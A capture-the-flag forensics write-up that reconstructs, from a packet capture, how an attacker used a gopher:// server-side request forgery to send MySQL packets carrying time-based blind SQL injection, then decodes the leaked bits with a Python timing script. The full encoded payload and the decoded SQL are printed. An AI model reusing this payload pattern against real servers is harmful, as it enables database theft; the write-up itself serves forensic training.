We think our website has been compromised by a bad actor. We have noticed some weird traffic coming from a user, could you figure out what has been exfiltrated?

Category: forensics

Solver: mp455

Writeup

We can download a zip file. If we unpack it there is the file capture.pcapng .

Wireshark

This file we can open with Wireshark where we see captured network packets.

Since the description stated worries about the website we can filter the packets for http.

Http requests

The fist request is via GET and just retrieves the website but all 616 request after that are via POST and send an object each with different content:

The first packet contains:

{“url”: “gopher://0:3306/ _%a3%00%00%01%85%a6%3f%20%00%00%00%01%08%00%01%02%03%04%05%06%07%08%09%0a%0b%0c %0d%0e%0f%10%11%12%13%14%15%16%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69 %76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0f%5f%63 %6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%39%04%5f%70%69%64%04 %31%33%33%37%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c %09%5f%70%6c%61%74%66%6f%72%6d%07%5f%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d %5f%6e%61%6d%65%05%6d%79%73%71%6c%7c%00%00%00%03%53%45%4c%45%43%54%20%53%4c%45 %45%50%28%28%53%45%4c%45%43%54%20%41%53%43%49%49%28%73%75%62%73%74%72%28%28%53 %45%4c%45%43%54%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%64%61%74%61%62%61%73 %65%5f%6e%61%6d%65%29%20%46%52%4f%4d%20%6d%79%73%71%6c%2e%69%6e%6e%6f%64%62%5f %74%61%62%6c%65%5f%73%74%61%74%73%29%2c%20%31%2c%20%31%29%29%20%3e%3e%20%37%20 %26%20%31%29%20%2a%20%33%29%01%00%00%00%01”}

Seeing the percent-encoding we decode the request:

gopher://0:3306/_��? ����

root��mysqlnativepassword�fosLinuxclientversion5.7.29pid1337 clientnamelibmysql platformx8664 programnamemysql|���SELECT SLEEP((SELECT ASCII(substr((SELECT groupconcat(databasename) FROM mysql.innodbtablestats), 1, 1)) » 7 & 1) * 3)���

There we see that a sql command is send to the mysql service at port 3306. So lets take a closer look to the mysql communication in our capture.pcapng file.

MySQL packets

In Wireshark we can filter for the “mysql” packets. There we see the requested sql command:

SELECT SLEEP((SELECT ASCII(substr((SELECT groupconcat(databasename) FROM mysql.innodbtablestats), 1, 1)) » 7 & 1) * 3)

Lets analyze the command.

  • We sleep for the amount of second multiplied by 3 that the inner sql returns

SELECT Ascii(Substr(
                      (
                      SELECT Groupconcat(databasename)
                      FROM   mysql.innodbtablestats), 1, 1)) » 7 & 1

  • The inner sql command here

    SELECT Groupconcat(databasename)
                          FROM   mysql.innodbtablestats

    returns a string that we are interested in

  • after that we get the first character of that string and convert it to the ascii code number

  • We shift it by 7 and “AND” it with one

  • This sql command returns one if the first bit is one and zero otherwise

  • Connected to our outer SQL command - mysql sleeps for three seconds if the first bit of the result is one

But just the first bit is not that interesting so let’s take a look at the other mysql requests.

We see that the next request asks for the second bit of the first character. This pattern continues until all bits of all characters are requested.

Since the description stated that we are interested in the information that has been exfiltrated, we want to know that too.

To be able to write script that exfiltrates the data we first export the wireshark table as csv file. We grep for the mysql responses and manipulate it via regex so that it only contains the time in seconds of the mysql responses.

Scripting

With this formatted csv we can write a simple python script that checks if the time difference between two lines is greater than 2 and print a one if so and a zero if not.

with open('./mysqlresponses.csv', 'r') as fin:
    lines = fin.readlines()
last_time = 14743
for line in lines:
    new_time = int(line)
    if new_time > last_time + 2:
        print("1", end="")
    else:
        print("0", end="")
    last_time = new_time

This script computes the bytes out of the sql responses:

011001000110001001011111011011010011001100110001001101000011100101110011011000110111001001100101 011001010110111001110011011010000110111101110100011100110010110001110101011100110110010101110010 011100110110100101100100001011000111010101110011011001010111001000101100011100000110000101110011 011100110111011101101111011100100110010001100001011001000110110101101001011011100100100001010100 010000100111101101100010001100010111010001011111011100110110100000110001011001100111010000110001 011011100110011101011111001100110111100001100110001100010110110001011111001100010111001101011111 0110001100110000001100000110110001111101

Decoded via the ascii table:

db*m3149screenshots,usersid,user,passwordadminHTB{b1t_*sh1ft1ng_*3xf1l_*1s_c00l}

Here is our flag: HTB{b1t_sh1ft1ng_3xf1l_1s_c00l}

script result

Other resources